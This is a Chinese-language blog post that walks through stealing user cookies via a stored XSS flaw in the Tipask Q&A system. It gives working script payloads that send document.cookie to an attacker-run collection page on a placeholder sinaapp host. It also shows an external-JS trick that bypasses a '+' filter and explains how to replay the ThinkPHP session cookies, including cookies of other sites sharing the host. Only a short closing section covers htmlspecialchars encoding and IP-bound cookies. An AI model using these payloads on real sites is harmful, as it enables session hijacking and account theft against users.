首先一定要先來吐槽一下tipask系統。這是一枚開源的類似百度知道的系統,但是漏洞多多,最基本的XSS注入都無法防御。
言歸正傳:
【准備1】 cookie接收服務器。 平時喜歡用sae,所以在sae上寫了一個get方法傳值的頁面,獲取到的數據存儲進數據庫。
數據表結構很簡單
其中time,ip,pre_url都可以沒有。
頁面代碼如下
實際應用像下面這樣:
訪問鏈接:http://xxx.sinaapp.com/?cookie=xxxx;
xxxx的內容就會自動存入數據庫。
【准備2】利用xss漏洞截取用戶的cookie
輸入內容
<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie</script>
提交后發現沒反應,審查元素:
<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie</script>
發現代碼被瀏覽器處理過了:把加號給過濾掉了。怎么處理呢?
答案是:引入外部js文件!!
還是在剛才的文本框輸入:
<script src='http://xxx.sinaapp.com/js/test.js'></script>
js文件內容:window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;
【Go!】
當用戶訪問被XSS注入的頁面時,會自動引入test.js文件,這個文件里包含的js語句,會讀取頁面的cookie,然后訪問一個get傳值的頁面,cookie就會自動存儲到數據庫中了~
【獲得cookie之后】
win7下的cookie存儲方式比較特別,xxxx.txt,根本分不清哪個是哪個,於是樓主給chrome瀏覽器裝了個插件,EditThisCookie,可以在瀏覽器上對cookie進行讀取,刪除,修改操作。
tipask用了thinkphp框架,ThinkPHP保存cookie時有兩個關鍵值,tp_auth和tp_sid,更新了這兩個值就能獲取登錄狀態了。但是,咳咳,ThinkPHP框架把tp_auth的值設置了和IP綁定,所以即使你拿到cookie,如果cookie不匹配,也P用不中~但是,咳咳咳,此處獲取的cookie可不只tipask系統的cookie,而是tipask系統所在IP地址所有應用的cookie..比如說,xxx.xxx.edu.cn對應是dz論壇,xxx.xxx.edu.cn/zhidao對應的tipask,那么獲取的cookie既有tipask的,也有dz論壇的。所以~
【xss注入初步解決方案】
1. 防止xss注入的原理,就是對用戶輸入的富文本進行html encode
PHP環境下處理函數如下:
function re_xss($list) { if(is_array($list)) foreach ($list as $key => $value) { foreach ($value as $keys => $values) { $list[$key][$keys]=htmlspecialchars($values); } } else $list=htmlspecialchars($list); return $list; }
2. 防止cookie被竊取的原理,就是像ThinkPHP,把cookie和IP地址綁定,或者和其他唯一值綁定。